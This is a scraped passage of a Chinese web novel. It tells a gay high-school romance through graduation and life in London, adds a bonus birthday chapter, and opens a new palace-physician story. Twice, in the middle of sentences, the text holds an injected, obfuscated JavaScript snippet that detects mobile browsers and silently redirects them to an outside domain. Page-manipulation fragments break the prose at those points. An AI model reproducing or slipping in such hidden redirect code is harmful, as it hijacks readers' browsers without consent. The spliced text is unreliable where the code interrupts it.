周予安喉咙发紧:"是的。" "那你以后住哪?学费生活费怎么办?" "我可以申请助学金,"周予安迅速回答,"也可以打工。我满十六岁了,法律上——" "他可以住我家。"陈野插话,"我妈同意了。" 校长看了看陈野母亲,后者点头确认。办公室里一阵沉默,最后校长叹了口气:"好吧,但有个条件。" 周予安屏住呼吸。 "三个月。"校长竖起三根手指,"如果这三个月内,你们的成绩没有下滑,没有违反校规,没有因为...这种关系影响其他同学,就可以继续留在这里。否则,周予安必须转学,陈野将失去保送资格。" 周予安和陈野对视一眼,同时点头:"我们接受。" 离开校长办公室后,周予安才真正意识到自己做了什么——他公然反抗了父亲,选择了陈野,放弃了一切经济支持。恐惧像潮水般涌来,他的双手开始不受控制地发抖。 "嘿。"陈野把他拉进空无一人的楼梯间,捧住他的脸,"看着我。你做得对。" 周予安深吸一口气,强迫自己聚焦在陈野的眼睛上:"我只是...不知道接下来该怎么办。我没有家可以回了..." "你有家。"陈野轻声说,"我家就是你家。我妈已经收拾好了客房,你可以住到毕业,甚至更久。" 周予安眼眶发热:"为什么...为什么你们对我这么好?" "因为我爱你啊,白痴。"陈野用额头抵住他的,"而且我妈说你在法律上算''受家庭暴力威胁的未成年人'',她有职业责任帮你。" 周予安笑了,眼泪却流了下来:"所以这是法律援助?" "不。"陈野认真地说,"这是爱。纯粹的爱。" 他们额头相抵,呼吸交融,在这个安静的角落里,世界似乎只剩下彼此。 上课铃响了,他们不得不分开。走进教室时,所有人的目光都投向他们,窃窃私语像电流般在空气中传播。周予安昂首挺胸走到自己的座位,无视那些好奇或异样的眼神。 第一节课是数学。老师发下上周的测验卷,周予安拿到了满分,陈野则是85分——他史上最高分。 "不错嘛。"周予安小声说。 陈野得意地挑眉:"有个好老师啊。" 下课铃响,周予安正准备去下一节课,张浩拦住了他的去路。 "听说你被赶出家门了?"张浩的声音故意提高,引得周围同学纷纷侧目,"真可怜,要寄人篱下了。" 周予安握紧拳头,正准备回应,陈野已经挡在他前面:"张浩,你再多说一个字,我就把你在更衣室偷拍女生的事告诉全校。" 张浩脸色大变:"你...你怎么知道?" "我知道的比你想象的多得多。"陈野冷冷地说,"现在,滚。" 张浩灰溜溜地走了。周予安惊讶地看着陈野:"他真的偷拍?" 陈野耸肩:"我瞎猜的,没想到是真的。"他拉起周予安的手,"走吧,下节课要迟到了。" 接下来的几天出乎意料地平静。大部分同学接受了他们的关系,甚至有几个女生公开表示支持。老师们虽然态度各异,但都遵守校长的指示,没有为难他们。 周五放学后,陈野带周予安回了自己家。那是一套宽敞的公寓,装修简约但温馨。陈野的母亲林律师正在厨房准备晚餐。 "周予安,欢迎你。"她微笑着招呼,"客房已经准备好了,就在陈野隔壁。" "谢谢林阿姨。"周予安礼貌地说,心里却紧张得要命。 晚餐时,林律师询问了周予安的学习计划和未来志向。当听到他想学天体物理时,她赞许地点点头:"很有前途的领域。陈野应该向你学习,他连自己想做什么都不知道。" "妈!"陈野抗议,"我知道好吗?我想打职业篮球,或者开唱片店。" 林律师摇头轻笑:"现实点,儿子。" 周予安看着他们母子互动,胸口泛起一阵酸涩。他想起了自己的父亲,不知道他现在怎么样,是否还在生气... "周予安?"陈野碰了碰他的手,"你还好吗?" 周予安勉强笑了笑:"嗯,只是...想我爸了。" 林律师的表情柔和下来:"给他点时间。父母的爱有时很固执,但不会真的消失。" 晚上,周予安躺在客房的床上,盯着陌生的天花板。这里比他的房间大,床也更舒服,但却有种挥之不去的孤独感。 轻轻的敲门声响起。 "进来。"周予安坐起身。 陈野推门而入,手里拿着两杯热牛奶:"睡不着?" 周予安接过牛奶:"有点认床。" 陈野在他床边坐下:"我也是。在新地方总是睡不好。"他犹豫了一下,"要不...我陪你一会儿?" 周予安往旁边挪了挪,给陈野腾出位置。他们肩并肩靠在床头,小口喝着牛奶,像两个在夏令营里害怕黑暗的孩子。 "你妈人真好。"周予安打破沉默。 "她以前不是这样的。"陈野盯着杯中的牛奶,"离家那几年,她变了很多。" "你会原谅她吗?" 陈野沉默了一会儿:"已经在努力了。毕竟..."他看向周予安,"她帮了我最重要的人。" 周予安把空杯子放在床头柜上,突然感到一阵疲惫袭来。他靠向陈野,后者顺势搂住他的肩膀。 "睡吧。"陈野轻声说,"明天是周六,可以睡懒觉。" 周予安点点头,眼皮越来越沉。朦胧中,他感觉陈野轻轻吻了他的额头,然后小心翼翼地起身离开。他想拉住陈野,想让他留下,但睡意如潮水般将他淹没。 第二天早晨,周予安被阳光和煎蛋的香气唤醒。他洗漱完毕走出房间,看到陈野正在厨房手忙脚乱地翻煎蛋,林律师在一旁指导。 "早安。"周予安站在厨房门口说。 陈野回头,脸上还沾着一点蛋液:"早!我在做早餐。" 林律师笑着摇头:"不如说是制造灾难。"她接过锅铲,"你们两个去餐桌等着吧。" 早餐是煎蛋、培根和吐司,简单但美味。林律师宣布她今天要去见一个客户,晚上才回来,叮嘱他们好好写作业。 "我们可以去天文馆吗?"陈野突然问,"周予安一直想去,但没机会。" 林律师看了看周予安期待的眼神,点头同意:"记得六点前回来。" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353481|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这样,他们有了第一次正式的约会——不是躲在学校角落,不是偷偷摸摸,而是像所有普通情侣一样,光明正大地走在街上,偶尔牵牵手,偶尔相视一笑。 天文馆的穹顶放映厅里,周予安仰头看着满天星辰的投影,兴奋地小声讲解各个星座和星系。陈野虽然听不懂那些专业术语,但喜欢看周予安眼睛发亮的样子。 "你真好看。"在银河的投影下,陈野突然说。 周予安转头,发现陈野正专注地看着他,而不是头顶的星空。他的脸瞬间热了起来:"专心看星星。" "你比星星好看。"陈野凑近,在黑暗中轻轻吻了他的嘴角。 周予安没有躲开。在这个远离学校的黑暗空间里,他允许自己短暂地忘记所有烦恼,只感受此刻的甜蜜。 回家的公交车上,陈野接到母亲的电话,说临时有事要晚归,让他们自己解决晚餐。两人对视一眼,默契地决定尝试做饭。 结果是一场灾难。陈野烧糊了锅,周予安把盐当成了糖,最终他们叫了外卖,坐在地板上边吃边笑。 "我们以后得学做饭。"陈野咬着披萨说,"总不能天天吃外卖。" "以后?"周予安挑眉。 "是啊。"陈野理所当然地说,"等我们上大学,租房子,总得有人做饭吧?" 周予安的心跳漏了一拍。陈野说的是"我们"和"租房子",仿佛他们的未来理所当然地绑在一起。这个想法既令人恐惧又无比甜蜜。 晚上,他们挤在陈野的床上看电影。当屏幕上男女主角接吻时,陈野突然按了暂停。 "怎么了?"周予安问。 陈野转向他,表情异常认真:"周予安,等我们毕业了,一起离开这座城市吧。去一个没人认识我们的地方,自由自在地在一起。" 周予安屏住呼吸:"那大学呢?篮球呢?" "我们可以申请同一所大学。至于篮球..."陈野耸耸肩,"没那么重要。你更重要。" 周予安的眼眶湿润了。他伸手抚摸陈野的脸,那道小小的眉骨疤痕,那颗调皮的虎牙,还有那双总是盛满笑意的眼睛。 "好。"他轻声承诺,"一起离开。" 陈野笑着吻住他,比以往任何一次都深,都长。分开时,两人的呼吸都乱了。 "我爱你,周予安。"陈野抵着他的额头说,"比篮球多,比音乐多,比世界上任何东西都多。" 周予安想说"我也爱你",但话到嘴边却变成了哽咽。他只能紧紧抱住陈野,让心跳传递那些说不出口的感情。 毕业前三个月,周予安收到了剑桥大学天体物理系的录取通知书。 他坐在陈野家的餐桌旁,盯着那封邮件看了足足五分钟,手指悬在键盘上方无法移动。屏幕上的"Congratulations"闪闪发亮,像是一个遥不可及的梦突然变成了现实。 "怎么了?"陈野从背后凑过来,下巴搁在他肩上,刚洗完的头发还滴着水,"你看起来像是看到了幽灵。" 周予安默默把笔记本电脑转向他。 陈野的身体僵住了。水珠从发梢滑落,在键盘上溅开小小的水花。"剑桥?"他的声音有些发紧,"英国那个?" "嗯。"周予安轻声应道,小心观察着陈野的表情。 陈野直起身,用毛巾胡乱擦了擦头发,嘴角扯出一个笑容:"太棒了!我就知道你能行!"他的语调太高,笑容太灿烂,像是舞台上过度表演的演员,"什么时候开学?" "九月底。"周予安合上电脑,"但我还没决定要不要去。" "别开玩笑了。"陈野走到冰箱前,背对着周予安,"这是剑桥,你梦寐以求的。"他拿出两罐可乐,扔给周予安一罐,"值得庆祝。" 周予安接住可乐,没有打开。他知道陈野在掩饰什么——那双总是盛满笑意的眼睛此刻黯淡无光,指关节因为握得太紧而发白。 "陈野,"他轻声唤道,"我们得谈谈。" "谈什么?"陈野拉开易拉罐,泡沫涌出来溅在他手上,"没什么好谈的。你去剑桥,我..."他突然停住,猛灌了一口可乐。 "你收到职业队的offer了?"周予安敏锐地问。 陈野的肩膀垮了下来:"上周。上海 Sharks,青年队。"他苦笑一声,"训练基地在浦东,离剑桥...有点远。" 房间陷入沉默。窗外的春雨轻轻敲打玻璃,像是无数细小的手指在叩问他们的未来。 "我们可以..."周予安艰难地开口,"可以试试异地..." "多久?"陈野抬头,眼神锐利,"四年?五年?"他放下可乐罐,金属碰撞大理石台面的声音格外刺耳,"你知道异地恋的成功率有多低吗?" 周予安站起身,走向陈野:"那你的建议是?" "我不知道!"陈野突然提高音量,拳头砸在餐桌上,"为什么所有好事都要把我们分开?先是转学,现在是这个!"他的声音低了下来,"我只是...不想失去你。" 周予安伸手抚摸他的脸,掌心触到一片湿润。陈野在哭,无声地,倔强地咬着下唇不让眼泪落下。 "你不会失去我。"周予安轻声说,"我们可以视频,可以假期见面,可以..." "那不够。"陈野抓住他的手腕,"不够,周予安。" 他们沉默地对视,都从对方眼中看到了痛苦和无措。最终,陈野松开手,转身拿起外套。 "我需要冷静一下。"他头也不回地说,"别跟来。" 门关上的声音像是一记重锤砸在周予安心上。他滑坐在地上,背靠着厨房柜子,将脸埋进双膝之间。剑桥的offer在他脚边闪烁,曾经梦想的通知书此刻却像是一纸分手宣言。 雨越下越大。周予安看了看钟——陈野已经出去三个小时了,没带伞,也没回消息。他试着打电话,直接转入语音信箱。 正当他准备出门寻找时,手机震动起来。是李明发来的消息:「陈野在音乐教室,状况不太好。你要不要来看看?」 周予安抓起伞就冲了出去。雨水打在伞面上的声音像是急促的心跳,他的球鞋踩过一个个水洼,校服裤脚很快湿透。 音乐教室的门虚掩着,里面没有开灯。周予安轻轻推开门,看到陈野坐在钢琴前,头埋在臂弯里,肩膀微微颤抖。 "陈野?"他轻声唤道。 陈野猛地抬头,脸上泪痕未干。钢琴上摊着几张纸,周予安走近一看,是上海 Sharks 的合同草案。 "我本来想拒绝的。"陈野的声音沙哑,"但刚刚教练打电话来,说如果表现好,两年内可以进一队..."他苦笑一声,"年薪够我在上海买套房。" 周予安在他身边坐下,手指轻轻抚过琴键:"你应该接受。" "然后呢?"陈野转向他,"你在英国,我在上海,隔着八个时区?你熬夜我早起,就为了每周一次五分钟的视频通话?"他的声音越来越激动,"直到某天,你遇到一个聪明的剑桥同学,我遇到一个热情的队友,然后——" "不会的。"周予安打断他,"我不会..." "你怎么知道?"陈野站起来,在狭小的空间里来回踱步,"距离会改变一切,周予安。它会慢慢磨掉感情,直到有一天你醒来,发现我们已经变成了彼此的陌生人。" 周予安想说些什么,想反驳,但话到嘴边却变成了沉默。因为陈野说的没错——距离是爱情最残酷的考验,而他们甚至还没开始就要面对。 "也许..."周予安艰难地开口,"也许我们可以轮流放弃?你先去上海,两年后我去找你;或者我推迟一年入学,先陪你..." "不!"陈野猛地转身,"我不会让你为我放弃剑桥。永远不会。"他的眼神变得坚定,"你必须去,周予安。这是你的梦想。" "那你呢?你的梦想呢?" 陈野沉默了一会儿,突然弹了一段钢琴曲——德彪西的《月光》,就是周予安教他的那段。虽然生涩,但每个音符都饱含情感。 "我不知道我的梦想是什么。"弹完后,他轻声说,"篮球?音乐?还是..."他看向周予安,"只是和你在一起。" 雨声填满了沉默。周予安突然意识到,这是他们相识以来最严重的一次分歧——不是短暂的争吵,不是可以轻易化解的误会,而是两个截然不同的未来,两条可能永远分离的人生道路。 "我们需要时间思考。"最终,周予安说,"各自思考。" 陈野点点头,眼神黯淡:"好。" 他们没有一起离开。周予安先走,回到林律师空荡荡的公寓;陈野说想再弹会儿琴。那晚,陈野没有回家。周予安给他发了十几条消息,都没有回复。 第二天清晨,周予安被手机铃声惊醒。是父亲,八个月来第一次来电。 "儿子。"父亲的声音听起来苍老了许多,"听说你被剑桥录取了?" 周予安坐起身,揉了揉酸涩的眼睛:"你怎么知道?" "王老师告诉我的。"父亲顿了顿,"我...为你骄傲。" 这句话像一把钝刀刺进周予安的胸口。曾几何时,他多么渴望父亲的认可,而现在,这份认可却伴随着可能失去陈野的痛苦。 "谢谢。"他机械地回答。 "我想..."父亲的声音有些不自然,"我们可以一起吃个饭?庆祝一下?就我们两个。" 周予安看了看陈野空荡荡的房间,突然感到一种深深的疲惫:"好。" 挂断电话后,他发现有一条凌晨三点来自陈野的消息:「我在你家楼下。我们需要谈谈。」 周予安的心跳漏了一拍。他冲到窗前,拉开窗帘——陈野果然站在楼下,浑身湿透,头发乱糟糟地贴在额头上,看起来一夜未眠。 他三步并作两步冲下楼,连伞都忘了拿。冰冷的雨水立刻打湿了他的头发和衣服,但他不在乎。 "你在这站了多久?"周予安跑到陈野面前,声音因为担忧而尖锐。 陈野的嘴唇发紫,牙齿轻轻打颤:"几小时吧。不确定。"他从口袋里掏出一个皱巴巴的信封,"我找到第三种选择了。" 周予安接过信封,小心翼翼地打开——是英国皇家音乐学院的录取通知书,专攻钢琴表演。 "我去年偷偷申请的。"陈野的声音因为寒冷而颤抖,"本来没抱希望,但昨晚他们发了offer。就在我准备签 Sharks 合同的时候。" 周予安抬头,雨水和泪水模糊了视线:"你...你要去伦敦?" "如果你还愿意和我在一起的话。"陈野的眼神小心翼翼,"音乐学院和剑桥都在英国,我们可以周末见面,假期一起旅行..."他的声音越来越小,"当然,如果你已经决定——" 周予安吻住了他。这个吻带着雨水的咸涩和眼泪的苦涩,但比以往任何时候都更加真实,更加坚定。陈野僵了一秒,随即热烈地回应,双手紧紧抱住周予安的腰,仿佛一松开他就会消失。 "傻瓜。"分开时,周予安轻声说,"我当然愿意。" 陈野笑了,那颗虎牙在雨中闪闪发亮:"那我们说好了?一起去英国?" "嗯。"周予安点头,"一起。" 他们手牵手回到陈野家,像两个落汤鸡一样 dripping 在门垫上。林律师听到动静从厨房出来,看到两人的模样,惊讶地挑起眉毛。 "我猜你们和好了?"她递过两条干毛巾。 陈野咧嘴一笑:"比和好更好。我们要一起去英国了!" 他兴奋地解释了音乐学院的offer和他们的计划。林律师听着,表情从惊讶到欣慰,最后变成了骄傲。 "我早该想到的。"她轻叹一声,摸了摸陈野的头,"你弹琴时那种专注,和你父亲年轻时一模一样。" 陈野的表情柔软下来:"妈...谢谢你。为了一切。" 林律师的眼眶有些发红:"去换干衣服吧,别感冒了。我去做顿丰盛的早餐庆祝。" 那天下午,周予安如约和父亲见了面。餐厅很高档,服务员彬彬有礼,但气氛却异常尴尬。 "你看起来...不错。"父亲打量着周予安,"住在林家还习惯吗?" "嗯。林阿姨对我很好。" 一阵沉默。服务员送上开胃菜,他们机械地吃着,刀叉碰撞的声音格外刺耳。 "关于剑桥..."父亲终于开口,"学费和生活费我会负责。你不用担心。" 周予安放下叉子:"谢谢。但还有件事..."他深吸一口气,"陈野也要去英国。皇家音乐学院。" 父亲的表情凝固了。他慢慢放下酒杯,手指在杯柄上收紧:"所以你们...还在一起?" "是的。"周予安直视父亲的眼睛,"而且会一直在一起。" 他等待着父亲的怒火,准备好了反驳的言辞。但出乎意料的是,父亲只是长叹一口气,揉了揉太阳穴。 "我查过那个男孩。"父亲突然说,"成绩确实不错,篮球打得也好。"他顿了顿,"如果他真的能进皇家音乐学院...那确实很优秀。" 周予安惊讶地眨眨眼:"你...不反对了?" "我反对有用吗?"父亲苦笑,"这八个月,我看着你成绩越来越好,眼神越来越坚定。王老师说你在学校表现优异,还帮助低年级同学补习。"他摇摇头,"显然,这段关系没有像我想象的那样''毁掉你''。" 周予安的眼眶发热:"爸..." "我还是不理解。"父亲打断他,"可能永远都不会理解。但你是我的儿子,而我不想失去你。"他递过一个信封,"这是给你的。房租和生活费,足够你们在伦敦租个小公寓。" 周予安接过信封,手指微微发抖。这不仅仅是钱,这是父亲的认可,是和解的橄榄枝。 "谢谢。"他轻声说,声音哽咽。 父亲点点头,表情依然严肃,但眼神已经软化:"吃饭吧。菜要凉了。" 毕业典礼那天,阳光明媚。周予安作为优秀学生代表要上台发言,他准备了一篇关于未来和梦想的演讲稿。但当他站在话筒前,看着台下穿着毕业袍的陈野——后者正冲他眨眼,那颗虎牙在阳光下闪闪发亮——他突然改变了主意。 "我准备了演讲稿。"周予安的声音通过扩音器传遍全场,"但我想说点别的。" 他深吸一口气,感到无数双眼睛盯着自己。校长坐在第一排,表情困惑;父亲和林阿姨坐在家长区,同样一脸茫然。 "三年前,我害怕别人的眼光,害怕与众不同,害怕承认自己是谁。"周予安的声音越来越坚定,"但有个人教会了我勇敢。他告诉我,爱没什么可羞耻的,不管对象是谁。" 会场一片寂静。陈野在台下睁大了眼睛,嘴唇微微分开。 "所以今天,在毕业的这个时刻,我想公开对他说——"周予安直视陈野的眼睛,"陈野,谢谢你爱我。我也爱你,比宇宙中的星辰还要多。" 一瞬间的寂静后,全场爆发出掌声和口哨声。陈野从座位上跳起来,在众目睽睽之下跑上台,一把抱住周予安,在欢呼声中吻了他。 "你疯了吗?"分开时,陈野小声问,脸上却洋溢着骄傲的笑容。 周予安耸耸肩:"跟你学的。" 校长无奈地摇头,但并没有阻止他们。下台时,周予安看到父亲的表情——不再是愤怒或失望,而是一种复杂的、近乎接纳的平静。 三个月后,希思罗机场。 周予安和陈野推着行李车,跟随人流向出口走去。九月的伦敦凉爽宜人,阳光透过巨大的落地窗洒在光洁的地板上。 "房东说公寓已经打扫好了。"陈野查看着手机,"离你的学院只有两站地铁,离我的学校也不远。" 周予安点点头,心跳因为兴奋而加速。过去几个月像一场梦——申请签证、打包行李、告别朋友...现在他们真的站在了英国的土地上,即将开始新的生活。 "紧张吗?"陈野捏了捏他的手。 "有点。"周予安承认,"你呢?" "超级紧张。"陈野咧嘴一笑,"但只要有你在,我就不怕。" 他们走出机场,伦敦的天空呈现出一种温柔的灰蓝色。出租车驶过泰晤士河时,陈野突然摇下车窗,让风吹乱他的头发。 "周予安!"他兴奋地喊道,"看!伦敦眼!" 周予安顺着他指的方向看去,巨大的摩天轮在阳光下闪闪发光。他想起一年前,在那个小小的音乐教室里,他们躲在黑暗中接吻,生怕被人发现;而现在,他们可以光明正大地牵着手,在这个陌生的城市开始新的冒险。 "我爱你。"周予安突然说。 陈野转过头,眼睛比泰晤士河还要明亮:"我也爱你。永远。" 出租车驶向市中心,载着两个年轻的梦想和一份跨越国界的爱情。无论前方有什么挑战,至少此刻,他们拥有彼此和整个未来。 而在遥远的东方,两对父母各自看着手机上的定位信息——两个小点已经在伦敦重合。一个严肃的中年男人叹了口气,将手机放回口袋;一位优雅的女性律师微笑着,将这张截图发给了前夫。 爱,终究会找到出路。 [全文完] 48. 第 66 章[番外] 周予安被厨房传来的巨响惊醒。 他猛地坐起身,床头闹钟显示凌晨四点十八分。窗外,伦敦的天空还是一片漆黑,只有零星的路灯亮着。又是一阵金属撞击声从厨房方向传来,伴随着低声的咒骂。 "陈野?"周予安摸索着戴上眼镜,声音里带着睡意,"你在干嘛?" 没有回应,只有更多窸窸窣窣的声响。周予安叹了口气,踢开被子下床。公寓的暖气不足,木地板冰凉刺骨,他踩着拖鞋,裹紧睡衣向厨房走去。 厨房一片狼藉。陈野背对着他站在灶台前,头发乱得像被飓风刮过,身上套着一件明显穿反了的T恤。地上散落着几个打翻的调料罐,台面上摊着面粉、鸡蛋壳和一碗可疑的糊状物。 "你在...做早餐?"周予安靠在门框上,忍不住打了个哈欠,"现在才四点。" 陈野转过身,脸上沾着面粉,表情像是被抓到做坏事的小孩:"我想给你做生日早餐。"他指了指那碗糊状物,"煎饼失败了六次。" 周予安这才想起今天是自己的二十岁生日。过去一个月他埋首于期末论文,几乎忘记了日期。他走向陈野,伸手抹掉他脸颊上的面粉:"厨房杀手先生,煎饼不是用强力摔打碗做的。" "食谱上说要把面糊''用力搅拌''。"陈野委屈地辩解,"我可能...过度解读了。" 周予安忍不住笑出声,接过他手中的碗:"让我来拯救我们的早餐和厨房吧。" 他们肩并肩站在灶台前,周予安熟练地重新调配面糊,陈野负责控制火候——虽然这个任务也让他紧张得额头冒汗。清晨的第一缕阳光透过小窗户照进来时,金黄色的煎饼已经摞了高高的一叠。 "生日快乐。"陈野将第一块完美的煎饼放到周予安盘子里,在上面用蜂蜜画了个歪歪扭扭的爱心,"二十岁的感觉如何?" 周予安叉起一块煎饼送入口中,甜蜜的滋味在舌尖化开:"比十九岁多一年?"他顿了顿,"不过有你在,每一年都很好。" 陈野的耳朵红了,这是他害羞时的标志性反应。三年前那个在校园里横行霸道的篮球队长,如今依然会因为一句情话而脸红。 "对了,"陈野突然跳起来,冲向客厅,"你的礼物!" 周予安跟着他走进客厅,发现墙上贴满了照片——都是他们这三年在伦敦的点点滴滴。陈野在皇家音乐学院的首演;周予安在剑桥天文台做助教;他们在泰晤士河畔的初雪中接吻;公寓楼下那只他们经常喂的流浪猫... "我打印了所有手机里的照片。"陈野指着中间特意留出的空白,"这里留给未来的照片——你毕业典礼的,我第一张专辑的,我们第一个家的..." 周予安的眼眶发热。这个礼物如此"陈野"——冲动、热情、充满不加掩饰的爱意。他伸手抱住陈野,把脸埋在他肩头,呼吸间全是对方身上熟悉的柑橘沐浴露香气。 "谢谢。"他轻声说,"这是我收过最好的礼物。" 陈野收紧手臂:"还有更好的呢。"他神秘地眨眨眼,"晚上七点,穿正式点,有惊喜。" 周予安本想追问,但陈野已经哼着歌跑回厨房去拯救煎焦的第二批煎饼了。他摇摇头,微笑着开始收拾墙边散落的照片——这就是和陈野同居的日常,永远充满意外和甜蜜的混乱。 下午五点半,周予安站在衣柜前犹豫不决。陈野说的"正式点"是什么意思?西装?还是只是衬衫?他们来伦敦三年,大部分时间都穿着舒适的卫衣和牛仔裤,正装很少派上用场。 最后他选了一件深蓝色衬衫和黑色休闲裤,这是他能找到的最正式的搭配。刚系好最后一颗纽扣,公寓门就被推开了。 "准备好了吗?"陈野冲进来,头发精心抓过,穿着一套周予安从未见过的黑色西装,内搭酒红色衬衫,整个人闪闪发亮,"哇,你看上去..." 周予安挑眉:"你从哪弄来的西装?" "租的。"陈野转了个圈,"为了今天。走吧,预约要迟到了。" 他们搭地铁到市中心,陈野一路上神神秘秘,拒绝透露任何细节。直到出租车停在一栋古老的建筑前,周予安才恍然大悟——这是伦敦最负盛名的音乐厅之一,皇家阿尔伯特音乐厅。 "你...在这里演出?"周予安惊讶地问。 陈野得意地点头:"学院年度优秀学生音乐会。我弹肖邦。"他凑近周予安耳边,压低声音,"前排中间的位置是留给你的。" 音乐厅内部金碧辉煌,圆顶设计让每个音符都能完美传递。周予安找到自己的座位——确实是全场最佳视角。节目单显示陈野是倒数第二个表演,曲目是肖邦的《英雄波兰舞曲》。 灯光渐暗,演出开始。周予安对古典音乐了解不多,但他能听出每位演奏者的精湛技艺。当主持人报出陈野的名字时,他的心跳加速到几乎要冲出胸腔。 陈野走上舞台的姿态从容自信,与高中时那个在音乐教室紧张得手抖的少年判若两人。他对着观众席鞠躬,目光似乎直接锁定了周予安,然后坐在钢琴前。 第一个音符响起时,周予安屏住了呼吸。这首曲子与陈野平日练习的柔和曲风截然不同——它充满力量与激情,像是一场风暴,又像是一个英雄的成长史诗。陈野的手指在琴键上飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353482|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舞,身体随着音乐起伏,仿佛整个人与钢琴融为一体。 周予安突然想起高中时的陈野,那个声称"音乐比物理简单多了"的男孩,那个在音乐教室笨拙地学习《月光》的篮球队长。如今,他坐在世界顶级音乐厅里,用琴声征服全场观众。 最后一个和弦余音绕梁,全场起立鼓掌。陈野鞠躬致谢,额前的碎发被汗水打湿,笑容比舞台灯光还要耀眼。周予安鼓掌到手掌发红,喉咙因为欢呼而发紧。 演出结束后,观众陆续离场。周予安按照陈野事先的指示,留在座位上等待。二十分钟后,一个工作人员引导他穿过迷宫般的后台走廊,来到一间休息室门前。 "他在里面等您。"工作人员微笑着说。 周予安推开门,陈野立刻从沙发上跳起来,西装外套已经脱下,酒红色衬衫最上面的两颗纽扣解开,露出锁骨。他的脸上还带着舞台妆的淡淡光泽,眼睛亮得惊人。 "怎么样?"陈野迫不及待地问,"我弹得还行吗?" 周予安走过去,双手捧住他的脸:"完美。你...太不可思议了。" 陈野咧嘴一笑,露出那颗标志性的虎牙:"那就好。因为接下来是惊喜的第二部分。" 他从口袋里掏出两张票:"明天晚上,剑桥大学天文台,你的导师邀请我们去参加一场私人观星会。"他歪着头,"我猜比起音乐会,你更喜欢这个?" 周予安惊讶地接过票:"你怎么...?" "上个月你手机忘锁屏,我看到你和导师的邮件。"陈野狡黠地眨眨眼,"所以我去找了你的导师,说想给你一个惊喜。" 周予安不知该生气还是感动。陈野总是这样,莽撞又贴心,像个闯进他生命中的温暖飓风。 "谢谢你。"他最终说,吻了吻陈野的额头,"两个惊喜我都喜欢。" 离开音乐厅时已近午夜。伦敦的夜空罕见地晴朗,几颗星星在光污染中顽强地闪烁。他们手牵手走在回公寓的路上,陈野突然停下脚步,指向天空。 "看,北斗七星。"他说,"你教我的第一个星座。" 周予安顺着他的手指看去,那熟悉的勺状星群确实依稀可见。他突然想起三年前,在那个决定命运的夜晚,陈野站在雨中告诉他"我找到第三种选择了"。那时的他们,还不知道伦敦的公寓、音乐厅的掌声、深夜的星光在等待着他们。 "回家吗?"陈野问,手指轻轻摩挲周予安的掌心。 周予安点点头:"回家。" 这个词听起来如此自然。因为无论在哪,只要有陈野的地方,就是家。 [番外完] 49. 第 67 章 。三更的梆子声穿透雨幕,在太医院青灰色的高墙外幽幽回荡。 裴玉棠揉了揉发酸的眉心,将最后一册《金匮要略》放回檀木书架。窗外一道闪电劈落,刹那间照亮他案头堆积如山的脉案,也映出他眼底两抹淡淡的青影。 "大人,宫门要下钥了。"药童捧着油纸伞在廊下轻声提醒。 裴玉棠微微颔首,月白色的太医官服在烛火下泛着清冷的光泽。他习惯性地理了理袖口银线绣的海棠纹,忽然动作一顿。 雨声中混着不同寻常的响动。 像是重物坠地的闷响,又像受伤野兽的喘息,从西侧院墙根断断续续传来。裴玉棠蹙眉执起案头宫灯,昏黄的光晕在雨幕中晕开一圈涟漪。 "我去看看。你且守着药炉。" 青石小径被雨水冲刷得泛着冷光。裴玉棠提着官服下摆小心前行,却在拐角处猝然停步——墙根下蜷着个黑影,雨水冲刷下的血色在石缝间蜿蜒成淡红的小溪。 "何人擅闯太医院?" 宫灯倏地照过去。那人闻声抬头,湿透的乱发间露出一双亮得惊人的眼睛,像淬了星火的刀锋。裴玉棠呼吸一滞,宫灯不自觉地又往前送了半寸。 灯光映出对方腰间半截断剑——玄铁打造的剑柄上,"醉"字铭文正往下滴血。 "劳驾..." 那人突然扯出个笑,染血的手指抓住他官服下摆。裴玉棠这才注意到他肩头插着半支断箭,周围的衣料已经浸透成暗红色。 "借个屋檐...躲雨?" 话音未落,那人便栽倒在他靴边,惊起一串混着血丝的水花。裴玉棠下意识伸手去扶,掌心立刻传来滚烫的体温。他触电般缩回手,却在对方即将重新跌入水洼时,又猛地将人捞了起来。 药炉上的陶罐咕嘟咕嘟冒着泡,苦涩的药香弥漫整个厢房。 裴玉棠盯着榻上昏迷不醒的男人,银针在指间转了三转。此人肩头箭伤泛着诡异的青紫,分明是边关独有的蛇骨毒。他本该立即上报禁军,可方才替对方更衣时,那截从腰腹延伸到肋下的旧伤疤却让他银针悬停。 ——那是三年前西北军特有的箭簇留下的痕迹。 "嗯..." 榻上人忽然闷哼,汗湿的睫毛颤了颤。裴玉棠急忙点他睡穴,却在收手时被猛地攥住手腕。那人掌心粗糙的剑茧磨过他虎口薄茧,烫得惊人。 "姑娘的手..."男人半梦半醒地摩挲他腕骨,"怎生这般凉..." 尾音含糊消散在药香里。裴玉棠耳尖发烫,抽出手时瞥见对方右腕内侧一道陈年疤痕——那是江湖人自证清白的"断誓纹",需用烧红的匕首生生烙下。 窗外惊雷炸响,他望着药柜上"见死不救非医道"的祖训匾额,终是叹了口气。 "备热水,再取三钱龙脑、一两白芷。" 沈醉在剧痛中醒来时,首先闻到的是清苦的药香。 他试着动了动手指,立刻被全身叫嚣的疼痛激出一身冷汗。朦胧视线里,一截素白广袖在眼前晃动,袖口银线绣的海棠纹随着那人动作泛着细碎的光。 "再乱动,毒入心脉。" 